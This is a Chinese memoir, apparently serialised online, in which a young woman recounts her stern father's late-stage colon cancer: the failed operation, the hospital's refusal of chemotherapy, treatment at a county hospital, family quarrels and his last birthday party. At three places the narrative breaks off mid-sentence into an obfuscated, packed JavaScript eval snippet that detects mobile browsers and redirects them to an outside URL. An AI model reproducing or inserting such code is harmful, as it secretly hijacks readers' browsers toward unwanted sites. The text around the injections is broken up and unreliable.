《无人道我已黄昏》 2. 六月(2) 我爸是一个很典型的严父,有多严?他是我最害怕的人,是悬在我所有错误之上的批评语。 从小到大,我每次犯错之后都会挨骂,摔坏玩具的时候、把家里电路搞跳匝的时候、忘记带钥匙的时候、帮忙跑腿但买错东西的时候……我一直都是个不敢犯错的人,只要有一点做得不好就会担惊受怕。 爸爸的脾气很暴躁,他眼里容忍不了丝毫错误,家里总会响起他生气的辱骂声,我们所有人都是他攻击的靶子。 他和妈妈经常吵架,有时还会打起来,家里的东西基本上都被他摔了个遍,碗、电视、手机、烟灰缸……地板砖上残留着磕破的缺口,墙上也有擦不掉的污迹,比如——血。 我不记得他们那次是为什么争吵了,爸爸不知道从哪拿出一把长长的西瓜刀,两个人在抢夺中失手,刀划伤了他的手,血液飞溅,哥哥让我赶紧上楼找外婆,我惊慌地逃离了现场。 这种血腥残暴的场面其实不只一次,他们言语上的吵架更是数不胜数。 他是个让人害怕的父亲。 但不管我怎么罗列他的缺点,当听到他得癌症之后,还是控制不住地陷入了无尽的悲伤。 一开始我很生气很难过的是,这么大的事他们居然一直瞒着我,假如今天爸爸的手术真的出了什么意外,那我岂不是什么都不知道就突然失去了父亲。 再后来,我想起了自己一直被隔离的事实,也意识到了现在不是去假设的时候,手术已经结束了,摆在我面前的是,爸爸癌症晚期,切除肿瘤失败。 居家隔离的我独自一人,所以能够肆无忌惮地放声大哭,那是我人生中哭得最多的时候。 从白天到黑夜,从黑夜到白天。 事实证明,哭泣确实是一种帮助人接受现实的方式。我在眼泪的浸泡中慢慢消化了一切,打起精神上网搜集结肠癌相关信息。 起初看到病人和亲属分享的经历时,我还是会忍不住流泪,哭到看不清屏幕上的文字。在他们的记录背后,我想象着我们即将面对着什么。 那一片黑暗、深不见底的未来,光是触到就让人害怕。 但泪水让我明白,原本以为哭太多再也哭不出来的我其实还能哭,既然如此,我也一样还能做其他事。 我买了可以做流食的破壁机,研究食谱,学习哪些蔬菜水果对癌症患者来说比较好,提前了解化疗的相关事项。 我还在他们回家之前做了大扫除,努力将家里打扫得干净整洁,免得让他们烦心,毕竟现在糟心的事已经太多了。 可是爸爸回来之后还是发火了,生气地说家里的盆栽全都枯了,说柜子上的发财猫摆件的手臂也不摇动了。 他们在一个多月之前去了医院,没人给盆栽浇水,我回家时它们就已经枯了,哪怕再浇水也没什么起色。 至于发财猫,我望着柜子上的金色摆件有些出神。原来在我没注意的时候,它默默没电了。 那天晚上爸爸哭了,我不知道是不是因为盆栽和发财猫。 - 爸爸动手术留下的刀口很长,针线的痕迹像恐怖的多脚蜈蚣,长长一条攀在肚子上。 我想起妈妈描述手术时的形容,一个活生生的人被刀划开来摊在手术室,跟被切开的猪一样。 开刀后医生发现肿瘤粘连大动脉难以割除,呼叫亲属进手术室。在危急的情况下,哥哥选择了保守治疗。后来我听爸爸说,这是他提前跟哥哥说好的,如果手术遇到意外的话,一定不能随便签字,他不愿意拿自己的生命去赌,他动手术的目的是为了活着—— 不是非得切掉肿瘤不可,而是因为听说切了肿瘤以后能活得更久。 从始至终,爸爸都没有放弃过自己的生命。 虽然这次手术没有成功,反倒在肚子上留下了一道深深的伤痕,他也没有灰心丧气。 哪怕伤口再痛他也全都忍住了,坚信等伤养好回医院继续放化疗治疗的话,一定还有新的希望。 他们回来时,我的居家隔离也终于结束了,爸爸差遣我出门把借来动完手术剩下的钱存在卡里。 中途出了点小插曲,我忘记密码连续几次输错把卡锁了,于是只好跑另一家银行换一张卡存钱。 爸爸打电话问情况,我心惊胆战地如实汇报了自己的错误,一路小跑着想快点赶到银行把事做完。 或许是听到了我的喘气声和话音里的害怕,他没有跟我想象中那样开口骂我,而是说:“不要着急,慢慢地走。” 那瞬间我停住了脚步,惴惴不安的心慢慢平静了下来,所有恐惧都被他这句话消融了。 我犯错了,却没挨骂,为此我感动了很久。 回家之后奶奶也已经到了,她听说爸爸回来了,特意从老家坐车来城里看他。 奶奶的思想比较封建,她闭口不谈爸爸的病,就连为什么进城也跟村里的人扯了谎。她觉得癌症是羞于启齿的,如果别人听到谁得了绝症都会嘲笑说这人肯定是做了什么坏事遭报应了。 妈妈从不赞同她,而是说,“人吃五谷,哪有不生病的?” 奶奶说家里闷,于是我主动请缨陪她出门闲逛。 在街上她看中了一把鞋刷,犹豫要不要买,我直接替她付钱买了。路过奶茶店,她看到门口的冰激凌立牌,我进去买了两支出来,递给她一起吃。 阳光照耀,微风吹拂,雪糕很快就化了,我们吃得有些狼狈,手上黏糊糊的。 她没跟我提起过爸爸,我们只是走在路上,匆忙地吃完手里的冰激凌。 晚上我帮妈妈洗菠菜准备晚饭,外面坐着不少来看望爸爸的亲戚,打麻将闲聊,热闹得像过年。 我和妈妈静静地待在厨房,耳边是哗啦啦的水声和轰隆隆的抽油烟声。 她忽然启唇,“这次你爸生病……” 我没转头,但停下了手里的动作,等着她的后半句话。 “感觉你长大了很多。”妈妈说。 那晚听到爸爸在客厅沙发哭的时候我没哭,此时此刻,我的双眼却毫无预兆地被泪水蒙住了。 这是我第一次从妈妈口里听到“你长大了”。 我把眼泪憋回眼眶,垂头继续洗菜,应了声嗯。 那天我在本子里写—— 无论怎么想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187136|150696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起妈妈说的这句话都还是想哭,有太多用言语和行动都无法表达的感情,我不知道该怎么表达,但我真的很感谢也很爱你们。 六月中下旬,我的网课结束了,爸爸回家养伤口的时间也差不多了,我们三个人收拾好了行李准备一起去医院。 【日记】2022.6.20 早上四点半起床,五点上车,私家车超载了两个人,我依然是缩在最后一排的窗边,路面不平,磕得脑袋疼。 车里空气稀薄,各种味道都有,狭窄拥挤。 七点在医院食堂门口下车,医生八点上班,九点查完床才有空。 一进食堂就看到了很多病人,化疗后戴着帽子的、脸色唇色毫无气色苍白虚弱的、手臂上还留着针管头的、面带苦涩愁容的…… 隔壁桌是两个陌生人拼的桌,断断续续听到他们在交流化疗和手术。年轻小伙喝着粥,大口咬饼,说起化疗侃侃而谈,爽朗地笑着安慰对面的老人要乐观。 老人讷讷点头,神情麻木。 去主治医生办公室的一路上看到了太多病人和亲属,所以每一步都格外沉重,大概是因为自己也是其中一个。 头晕眼花地听爸妈和医生交谈了好一会儿,然后拖着行李箱继续走向下一个科室。 等待医生、得知没有核酸不能入院,挤电梯去另一栋楼做核酸…… 我一个人站在外面的树下等他们,旁边的椅子坐了个奶奶,有空位后我走过去在她身边坐下,掏出手机跟没能来的家人发消息简单告知情况。 发完消息望着远处发呆,旁边的奶奶主动跟我说起了话,问我来这里是哪位亲属生病了,问是什么病。 我回答是爸爸得癌症了。 然后这位第一次见面的奶奶诚挚地盯着我的眼,温声细语地跟我说了很多很多话,告诉我亲人生病是没有办法一定要接受才能面对、告诉我怎么调整心态、告诉我未来可以怎么办…… 我本来一直都在认真回望她听她说话,眼眶不知道什么时候变得涩涩的,她说不要哭,我的眼泪就掉下来了。 赶紧掏纸出来擦眼泪,不知道为什么突然没忍住情绪,在来来往往的门诊口,在一个陌生人的面前哭了。 说着说着她眼角也挂上了泪,我们含泪相视一笑。 后来爸妈出来我们打车去姑姑家,明天才能办入院,走的时候我在车窗扭头跟奶奶挥了挥手,她笑着跟我说再见,看着她脸上真诚的笑我的眼眶又浮起一阵热气。 因为没睡好脑袋昏昏沉沉的,中午吃完东西爸妈让我去睡会儿补觉,临睡前我突然想,要是这就是一场梦就好了。 要是醒来发现只是睡了个寻常的午觉,这些乱七八糟、难以承受的,一点也看不到未来的一切都是梦就好了。 可是最后的最后,醒来后窗外下了好大一场雨,我们还是被困在疾病里。 - 希望我们都—— 好好吃饭,好好睡觉,少发脾气。 不要再苦瓜脸,不要再哭,不要再失眠,不要再焦虑不安,不要失去希望。 希望明天入院顺利,化疗顺利。 3. 六月(3) 上小学时,有一次我去朋友家玩,她爸爸开车来接我们。朋友一看见校门口的爸爸就扬起笑快步走向他,两个人自然地手牵着手,开始热切地聊天。 那是我第一次震惊于现实生活中原来上也有这样的父女关系,我默默跟在他们身后,视线怎么也离不开他们牵着的手——我从来没和爸爸牵过手,就连一起笑着闲聊也不曾有过。 长大后,我遇到了更多的人,看到了更多父女关系。我依然会被大家跟父亲轻松的相处模式所触动,感慨他们关系怎么可以那么好,原来跟爸爸是能聊日常的,原来父女间还能这样开玩笑…… 我不知道有多少人的家庭和我一样,有多少父亲跟我爸一样沉默寡言,有多少父女像我们这样“不熟”,甚至连一次真正的聊天也没有。 印象里在我爸生病之前,我和他只有过一次长时间的独处。 那是我读大学之后的事,他刚好也要去外地打工,就在我学校附近的省份,他说我们可以一起走,先送我去学校再去打工。 我们坐了差不多十个小时的高铁,相邻的座位,却几乎没怎么交谈。中午爸爸买了高铁上的盒饭,很贵,性价比不高,但他还是买了,我们沉默地吃完饭,继续沉默。 我大多数时间都在闭眼睡觉,不仅因为不知道该说什么,也因为我在车上有睡觉的习惯,就这样把漫长的沉默睡了过去。 下了高铁之后,我跟他说我自己回学校,让他在高铁站附近住一晚,第二天直接坐高铁去上班,这样不用多折腾,但他还是坚持要送我去学校。 于是我只好带着他经过复杂的路线找到公交车站牌,在手机上给他演示怎么调出乘车码,告诉他上车后在哪刷码。 这对年轻人来说是很常见的操作,但对他们来说却很陌生,我不放心地又跟爸爸说一次怎么乘车。 他学得很快,记忆力也很好,顺利地上了车。 一小时的车程后到站,我跟他指了下对面的站牌,告诉他明天要在对面坐车去高铁站。 公交车站离学校大门有一定距离,我没让他跟我过去,而是跟他一起在附近找了家店铺吃饭。 我们拖着行李箱,路过各种各样的餐饮店,最终在一家面馆停下,随便解决了这顿晚饭。我本来想跟他找酒店看他入住后再离开的,但爸爸说他自己定。 我们都是担心麻烦彼此的人,因此他不再坚持送我到学校大门了,我也没坚持跟他一起找酒店。我们在面馆门口分开,朝着两个方向走去。 这就是我们那一天独处的经历,他都到我学校附近了也没去学校逛逛,同样,我第二天也没有送他回高铁站。 我们没有聊天,没有做麻烦对方的事情,谁都没有主动走向谁。 - 六月底办理入院以后,我们三个人就这样在肿瘤医院住下了。 患者们基本上都是从其他市区来的,再加上化疗需要一定的时间,所以很多家庭都直接住在医院。 每层楼的尽头都有一个小厨房,里面有灶台、洗菜池,墙上还有很多插座,只要买了医院的电卡和水卡就可以自带餐具在这里做饭吃。 每到饭点这间屋子都挤满了人,插座全都插满了小锅,有时候还需要排队才能有位置。 我和妈妈了解情况后,先去医院附近的小菜市场买了电饭锅和宿舍用的那种电煮锅,妈妈说现在能自己在医院做饭吃,姑姑可以不用再来送饭了,知道后姑姑让我们不要买碗筷,她从家里给我们带。 解决了吃饭问题,睡觉我们也是直接在医院睡的。爸爸动手术的时候,哥哥买了折叠式的行军床陪护,现在是我和妈妈两个人挤在一起睡。 想想也觉得很不可思议,那么窄的床居然能睡下我们两个人。我紧紧贴着墙,曲起腿,尽量缩小自己所占的空间,睡在外面的妈妈也一样。 我还记得在医院睡的第一个晚上,我们是靠窗的床位,我望着窗户外对面那栋病房的灯光,想象着有多少家庭也被困在疾病里,然后再转回头望着天花板,望着病床旁拉起来的蓝色帘子、望着挂输液瓶的杆子。 凌晨五点,保洁阿姨开始打扫卫生,陪护的人不能再睡觉,得把床收起来。我们在半睡半醒中麻利地收好床站在一旁,湿漉漉的地面沾上拖把的味道,要等干了之后这股气味才能消失。 我不喜欢这味道,所以每次都会在阿姨打扫卫生的时候去外面的公共厕所洗漱,这样刚好也能给她腾出位置拖地。 每一天都是这样周而复始,睡觉、起床、做饭、吃饭、洗碗……剩下的时间都在爸爸的输液瓶里一滴一滴流过。 我们和隔壁床的短发阿姨渐渐熟了起来,她是自己一个人来住院化疗和放疗的,听她说,她放疗的反应会更大一些,每次放疗完都会拉肚子,一整个晚上都在跑厕所,是根本控制不住的那一种拉到虚脱的折磨。 她会给自己做有营养的食物,吃对癌症有好处的水果,我记得很深的是有一天看到她蹲坐在病床边吃了一整盒猕猴桃。 虽然放化疗没有食欲,但她还是会坚持吃东西,没有人照顾,她就自己把自己照顾得更好。 隔壁病房还有一家人让人印象深刻,爸爸和儿子都得了癌症,两个人一起住院相互照顾对方。每次看到穿着病服的儿子站在穿着病服的爸爸病床旁时,我都觉得命运太过于残酷。 痛苦是不能用来比较的,每个家庭都有自己的不幸,我们唯一能做的,只是努力地接受事实。 住院的一周,爸爸并没有开始化疗,而是在输液消炎和补充身体缺的指标。 被医生叫到办公室那天,妈妈的单位通知体检,她去了其他医院,我一个人陪着爸爸。早上我陪他去各个科室做了常规检查,回病房后护士突然说让家属去办公室一趟。 当时我手都是抖的,大脑一片空白,心里忐忑不安。但只有我在,所以只能我去。 主治医生看到我还像个孩子,开口的第一句话是问没有大人跟着一起吗,我跟他解释了情况,并且说明我已经成年了,大概因为没有时间等待,所以他还是直接跟我说了。 “你爸得办理出院了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187137|150696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的身体太差,不能化疗。” 说着他给我看了今天做的血常规结果,尽管已经输了一周的液,各项指标还是没有提起来,甚至有几项还更低了。在这个条件下根本不敢给他用药,如果坚持化疗的话,他的身体承受不了,会变得更糟糕。 我没有办法答应什么或者做什么决定,只好跟医生说我了解情况了,会回去告诉家里人的。 那间办公室挺大的,里面坐着很多医生,看起来也有很多家属,不知道大家得知的是怎样的消息,我只觉得自己像是被泼了一盆冷水,手脚冰凉。 我想起了爸爸住院之前精神满满的状态,哪怕手术失败了,他也一直坚信,只要能化疗就还有机会好起来。 命运怎么可以一次又一次的在他身上开玩笑,我要怎么告诉他不能化疗这件事?连我都不能接受,他又该如何接受? 大脑宕机了一会儿后,我先拨通电话告诉了妈妈情况,她语无伦次地说体检完马上就回来。 然后我给哥哥也打了电话,接通的瞬间我感觉到了自己喉中的哽咽。 其实从办公室回病房坐电梯的话很快就能到,但我选择了走下来,医院里有一条很长很长的无障碍通道,我拿着手机沿着那条路慢慢往下走。 我忍住了哭腔,一滴眼泪也没流,强装镇定地告诉了哥哥医生说的话,他在上班,没有时间通太久的电话,匆匆挂断了。 我知道,他也需要时间去接受和思考。我们都尚且如此,爸爸知道这件事又会有多么绝望。所以回病房后我没有告诉他事实,撒谎说医生叫我过去没说什么。 可爸爸就像有预感一样,看起来很不安。 望着这样的他,有很多时刻我的眼泪都快要流出来,但我还是全部憋住了,因为在家里隔离哭的那些日子里,我曾坚定地告诉自己,在他们面前一定不能掉一滴眼泪,既然要陪他们一起住院,就一定不能哭。 那是最难忍住的一天,但我忍住了。 傍晚,妈妈是和姑姑一起回医院的,她们两个人的眼睛看着红红的,应该是哭过了。哥哥之前跟我说过,得知爸爸生病后,妈妈和姑姑一起躲在外面哭过很多次。 我们三个去找医生又问了一遍,医生说的话跟中午对我说的一样,要求我们下周就出院。 “转到大医院去的话,会有机会吗?”姑姑问。 医生摇头,“去其他大医院,所有检查都要重新做一遍,他的身体受不了,而且他们的结果也跟我们不会有太大的差别,所以我的建议是还回县城的医院,那边认可出院记录,不会要求你们做过多的检查。” …… 结果无法改变,我们面临的是,该怎么告诉爸爸这一切,该怎么解释没能化疗就得办理出院这件事。 我们商量了之后还是决定不告诉他医生的原话,只是说指标没补起来,还需要回家再养一养,先在县城的医院治疗过后再来。 “是让我回去等死的意思吗?”爸爸问。 他瘦得像一把柴,就这样枯槁地坐在床上望着我们。 4. 七月 爸爸曲起被肿瘤压迫的那条腿在床上坐了很久,生病之后他基本都是曲着腿,应该是这个姿势能够减缓一点疼痛。 他很少喊痛,只有在实在忍不住的时候才会无意识低哼出声,刚动完手术在家养伤口时听到过他的疼,这几天在医院输营养液时也听过。 那是很大一袋白色的营养液,或许是里面的钾,又或许是其他物质,输液时血管像被刀刮一样疼,每次输这袋时爸爸都皱紧眉硬扛着,满脸痛苦。 有且仅有那么一次,他实在扛不住了,坐起身指挥我把吊着的输液袋摘下来,语气强硬凶狠,我老老实实照做了。 再然后就看到他下了病床,一把抢过我手里的袋子,剪破之后全部倒在了厕所里。 我知道倒掉的这一袋营养液对最终的结果没有决定性作用,爸爸身体的指标很难在短时间里补起来,但我还是想起了这件事,想起了他为此遭受的痛苦,以及现在残酷的出院通知。 这里的医生没有那么多精力照顾到每个病人,他们专业严谨地按数据说话,没有任何商量的余地,在这里爸爸可能只是众多病例中的一个,而不是活生生的病人。或许回到县城的医院后,我们能跟医生说明更多情况,能争取其他方案。 被再三通知必须出院的我只能这样思考来安慰自己。 我们的谎言漏洞百出,爸爸不需要拆穿也知道真相是什么,他其实当时就发了火,骂骂咧咧叫嚣着医院不负责,先是手术失败,现在化疗也不让做就赶人回家。 发完脾气后他像熄灭的蜡烛,沉默地独自承受黑暗,发出那声“等死”的询问。 久久坐在病床上的爸爸应该也想了很多,最终说服自己接受了“被放弃”的事实,哪怕医生说“不可能”了,自己也坚决不能放弃,要继续去寻找机会。 “回家吧,去县医院。”他说。 我们将由于住院添置了厨具而变得更多的行李打包好,坐客车回到了老家。 22年6月28日出院记录: 1.右半结肠(回盲部-升结肠)腺癌,肿瘤累及右侧腰大肌、骼肌并右侧髂血管旁淋巴结转移;2.低蛋白血症;3.中度贫血;4.双下肢动脉硬化并多发斑块形成;5.癌性疼痛。 - 七月,我们带上肿瘤医院的出院记录来到了县医院,离我家不算特别远,打车十分钟就能到。 我们去的那天刚好是周一,医院里的人很多,肿瘤科办公室里也挤满了人。 爸爸的脚从动完手术之后就一直很肿,医生说这是低蛋白血症的现象。这让爸爸的身体显得很不协调,明明身形已经干瘦如柴了,腿和脚却肿得像馒头一样,袜子甚至需要剪破了才能穿。 他没办法久站,于是我和妈妈让爸爸坐在外面等候,我们去排队找医生。 虽然办公室里人很多,但大部分都是每个月都来化疗的患者,医生和他们都很熟,没过多久就轮到我们了。 “新来办理入院的是吧?”医生看着陌生的名字问,认真翻阅出院记录和其他检查报告。 “身体指标不行,所以医院那边不敢化疗让你们出院吗?”他一眼看出了问题所在。 妈妈顺势问,“这种情况可以办理入院吗?你们有没有什么治疗方法?任何治疗我们都愿意尝试。” “我们医院可以按照身体情况减少用药给他化疗,但……” “病人这种情况,其实我们也不太建议继续治疗了。” 我们都没有接话,不敢多说一个字,生怕语言会把事实戳破。医生看见我们害怕却带着希望的目光,最终还是直言道:“他的时间不多了。” 我没有丝毫精力去留意妈妈的反应是什么,而是本能地问出口:“时间不多了是多久?” 不知道是因为这个问题太天真,还是因为医生想缓和一下现在低沉的气氛,他笑了笑,说:“我没办法准确地说还有多久,但你们要有心理准备。” 我想过很多次医生说出这种话的场景,可没有一次跟现实一样,我从未想到,医生是温暖地笑着说的。 我们在县城医院顺利办理了入院,至于两家医院的化疗标准为什么不一样我们并不在意,我们只在意爸爸终于可以开始化疗了。 化疗期间,爸爸的药物反应不是特别大,甚至没有之前在肿瘤医院输大袋营养液那么痛苦,他只是觉得恶心,以及口腔溃疡更严重了。 住院前我就上网搜了相关资料,买了玫瑰花和陈皮想给他泡水喝缓解恶心,但他好像只喝了一次,又或者是从没喝过,反正这种特意准备的东西不知道为什么拿出来总觉得别扭,到后面我没再主动给他泡过,而是简单地直接给他买柠檬水喝。 那些我默默准备的东西,依然沉默地被压在箱底。 除了化疗外,爸爸后腰上长了个脓包,起初只是红肿,然后起了白点,没过多久就能隔着层薄薄的皮看到里面的绿色脓水,这种现象并不常见,医生也不知道这个脓包具体是什么,拿不准该戳破还是放任它自己发展。 就像挂了一颗定时炸弹,我们所有人都关注着它,直到某天,破裂的时刻还是到了,脓水流了出来,气味刺鼻难闻。 脓水弄湿了裤子,爸爸是个很爱干净的人,家里的所有家务都由他一手承包,洗碗、扫地、洗衣服、倒垃圾,就连换垃圾袋这样的小事他也亲力亲为。还有晾衣服也是,他顶多让我们帮忙拿衣架,从来不让我们动手晾,嫌弃我们挂衣架前不会把衣服裤子抖直,晾出来皱皱巴巴的。 吃完饭把碗放进水池时要按大小摆放整齐,油盘子要先用水冲一遍;垃圾捆好死结以后再扔,套垃圾袋要把边角掖好;晾衣服要从短到长依次挂上,裤子放在最旁边……这些属于他的生活习惯,原方不动地留在了我身上,成为了我生活的一部分。 一向爱干净的爸爸沾上脓水后立马让我回家给他拿换洗的衣服裤子,他也是从这时就开始与脓包斗争的,像是被永远泡在脓水里。 还有项一直跟着爸爸的痛苦是口腔溃疡,从六月动完手术出院的时候就有了,我们给他买了很多种药都没有什么效果,为了这事我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187138|150696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还被骂过几次。 他的脾气就是这样,任何小事都能让他发火骂人。 医院的其他病患和陪护们目睹了一切,经常说妈妈的性格很好,不管爸爸怎么发脾气都陪在他身边,每次听到这样说爸爸都会变得更生气,而妈妈只是淡淡地摇摇头。 除去日常里琐碎的小矛盾,爸妈留在我脑中最后一场激烈的争吵也是发生在医院。 他们具体是为了什么开始吵架我已经忘了,就像自己经常被骂但很少能想起理由,总之,他们在病房里大吵了起来。 妈妈刚拿小锅煮好了晚饭,是酸汤面疙瘩,我们这里称为“面耳朵”,闻起来很香,看起来也很好吃。 我盯着锅里的面耳朵,默默坐在一边听他们吵架,准确来说大部分时间都是爸爸在单方面谩骂。 爸爸生气时会瞪大双眼,脖子和脑门上青筋凸起,在生病后变得更瘦的他身上显得尤其突出,仿佛随时会裂开。他的嗓门很大,每一句难听的话都重重都砸在地上、溅向四周,没人敢劝架,大家甚至连热闹都不敢看。 妈妈曾经说过,爸爸生气时越是回话“顶嘴”他就会越暴躁,只要一句话不说,默默听他说完、让他把脾气撒干净,这场风暴就会过去。 我们基本上都是这样做的,妈妈最初还回了几句话,后面一句话都没说了,最后直接离开了病房,我看见了她转身时眼底的泪花。 那泪水就像从她眼里落在了我眼中,我转回头垂眸想把眼泪憋回去,在模糊的泪光里,那锅面疙瘩已经坨了。 妈妈走后,病房里变得沉寂起来,一滩死水般凝滞。 不知道过了多久,爸爸突然出声说话了,“我……” 我没看向他,但有预感他要说什么,才缓下去的眼泪又有冒起来的征兆,眼眶又热又酸。 这是爸爸第一次直白地说出自己的心声,嗓音压得很低,生涩僵硬,“我不是故意骂你们的……我也控制不住自己。” “一切都由不得我……” 不管是生病,还是变得更加暴躁、更加苛责都由不得他自己,他也不想这样,可心底就是由不得。 《活下去的理由》里有一句话是这样说的,“是的,我知道,得了结肠癌很痛苦,但你试试跟一个得了结肠癌的人生活在一起,嘘,简直是噩梦。” 是生病的爸爸更难受,还是陪在他身边被骂的我们更难受?这个问题太残忍,我的眼泪最终还是掉了下来,这是爸爸生病以来,我唯一一次在他面前落泪。 【日记】 2022.7.29 我一直说自己在爸爸妈妈面前没有哭过,但昨天还是哭了,因为他们两个在医院大吵了一架。 我知道爸爸生病后心里一直不舒服,也知道他的不安、担忧和恐惧,可每次听到他发脾气骂我们时我还是会觉得很难过,觉得生活是一滩烂泥毫无盼头。就连在我的梦里,爸爸也总是不满意的样子,不管我们怎么努力还是会被骂。真的好累,看着眼前的肿瘤科和熟悉的过道、一排排蓝色椅子,我不知道尽头在哪里。 5. 八月 爸爸的生日是农历七月十八,这一点我很晚才记住。 小时候我们只知道自己的生日,因为那一天家人会给我们过生日,告诉我们生日就是这天。 好像是上了小学才从老师那里学到回家问爸爸妈妈的生日,由于爸妈不过生日,所以问了之后他们的生日也只是变成了本子第一页上的一串数字。尤其我们那里大部分人过的都是农历的生日,对应到每年的公历都不一样,所以更难记了。 在没有智能手机的提醒功能也没有日历时,我们很难知道每天的农历日期,因此很容易错过生日。 我不记得具体是哪一年了,虽然爸爸不过生日,但我还是想送他生日礼物,小学拿来记生日的本子找不到了,我记不清是七月十八还是八月十八,所以去问了哥哥,他说是八月。 过了一段时间我还是觉得不确定,于是又去问了妈妈,她说是七月十八,得知正确答案后我本想立马告诉哥哥他记错了,但看到妈妈表情不太对,我有种不好的预感,粗略地算了算日子,小心翼翼地问妈妈:“已经过了吗……” 妈妈脸色难看地点点头,屋内瞬间安静了下来,萦绕着一股萧瑟的凄凉感,我忍不住在心底责怪自己为什么不早点问妈妈,现在大家都错过了爸爸的生日…… 晚上我们一起吃饭的时候,妈妈主动提起了生日的事,“前天是你生日吧,我都忘了,没来得及做好吃的。” 闻声我默默抬头看了一眼爸爸,他严毅的脸上没有什么表情,无所谓地说,“过了就过了。” 不知道为什么,听到爸爸这样说我觉得更难受了,就好像他根本不在意世上有没有人记得他的生日,又或者说他比谁都明白没人会记得。 那次之后,爸爸的生日深深烙印在了我的记忆里,我们一家人再也没有错过他的生日,尽管他坚持不过生日,不许我们买蛋糕,不走仪式那一套,但妈妈还是会在那天做一桌子好吃的,我们也会送上一些小礼物。 爸爸生病之后的这个生日是唯一一次有蛋糕的,我们所有人一起给他热热闹闹地办了一场。 是妈妈主动提出来要这样做的,也是她说服了爸爸,说想在爸爸生日那天请各位关心他的亲戚朋友们一起吃个饭,还要特意请一些老人家们做客,俗称“压灾难”,说这样能够保佑爸爸。 科学、玄学,不管是什么我们都愿意尝试,爸爸也一样。 那天哥哥也请假回来给爸爸过生日了,他给爸爸买了一套墨蓝色的新中式套装,我给爸爸买了一双鞋子。 爸爸早早换上了新衣服,用纱布和绷带把后腰上流着脓水的脓包盖住,缠得很紧,本就干柴的腰身变得更瘦,穿在衣服里空荡荡的。 哥哥女朋友的父母也从远处过来参加爸爸的生日宴会,双方家长还没见过面,这是第一次。其实他们听说爸爸生病了之后一直想来拜访,又害怕太唐突,这次终于找到了一个自然的机会。 像是一场盛大的见面会,那天来了很多人,爸爸一定也很紧张,想以好气色面对大家。 但我们都担心的事还是发生了,从医院出发之前,爸爸又发起了高烧。 八月开始爸爸就断断续续地发烧,退烧贴、布洛芬、物理降温用毛巾擦关键部位等等方法都尝试过,那时候他经常发烧我还安慰爸爸也安慰自己说,是因为身体已在抗炎,所以才会发烧,这是好的现象。可每次看到爸爸高烧不退,我们的心还是会跟着一起揪着难受。 这次更严重一点,无论我们怎么尝试都没有退烧的迹象,温度计一直停在高烧数字上,医生和护士也知道今天是爸爸的生日,知道我们有外出的计划,很可惜地告诉我们如果烧退不了的话就不能去了。 这是爸爸的生日宴会,作为主人公的他怎么可以不去?我们焦头烂额地继续给他换毛巾降温,希望能有奇迹发生让高烧退去。哥哥女朋友的父母听说这件事,忍不住先来医院看望了爸爸。 尽管发着高烧,爸爸还是打起精神迎接了他们,感谢他们的到来,让他们不用担心他,还坚定地表示自己一定能出去跟他们一起吃饭的。 在哥哥送他们离开时,爸爸让我跟医生说他想打退烧针,这是最后一个办法了,我点头去办公室找了医生,我们都知道爸爸想一起去过生日,所以医生最后还是同意了。 退烧针打下去之后,爸爸终于在傍晚退烧了,他穿上我给他买的鞋,我们一起打车去了妈妈包席的饭店。 大家看到爸爸来了,纷纷上前过来给他打招呼说话,爸爸挂着笑容面对每一个人,爽朗地回复大家的问候。 他脸上没有一丝癌症病人的悲痛和低沉,看上去反而比以前更有斗志了,浑身散发着一种蓬勃的生命力,双眸都是积极向上的力量。这是我在角落里看到的,人群中闪着光的爸爸。 爸爸的笑容鼓舞了所有人,因此屋内的氛围一点也不沉重,谁都没有提起生病的痛苦,也没提到生与死,仿佛爸爸根本没生病,这只是场大家一起庆祝他53岁生日的聚会。 一共有两大桌的人,我们在两个相邻的包房里,中间是道屏风可以打开,拼成一间大包房。 妈妈提前去专门的店铺预定了生日活动,在吃饭前他们穿着玩偶服、推着蛋糕,带着音箱和话筒出现了,先暖场说了祝词,然后放起了生日祝福歌。 “向所有的烦恼说拜拜,向所有的快乐说嗨嗨,亲爱的亲爱的,生日快乐,每一天都精彩……” 音乐通过音箱欢快地响起,大家跟着一起鼓掌打节拍,穿熊猫玩偶服的工作人员带着其他小朋友跳起舞来。生活中其实很少有BGM,那天的那个场景、那个回忆里我们所有人都拥有了现场的背景音乐。 再然后,主持人说想让家人代表说几句话,说着他自然地把话筒递给了妈妈。 看到妈妈艰难地握着话筒时,不用看她的表情我也知道她现在有多么努力地在克制自己的哭腔,大家的视线都聚焦在她身上,我垂下脑袋不忍心再看她,鼻头已经开始有些发酸了。 妈妈最后还是一句话也没说出口,放下话筒还给了主持人,交递话筒时她说的 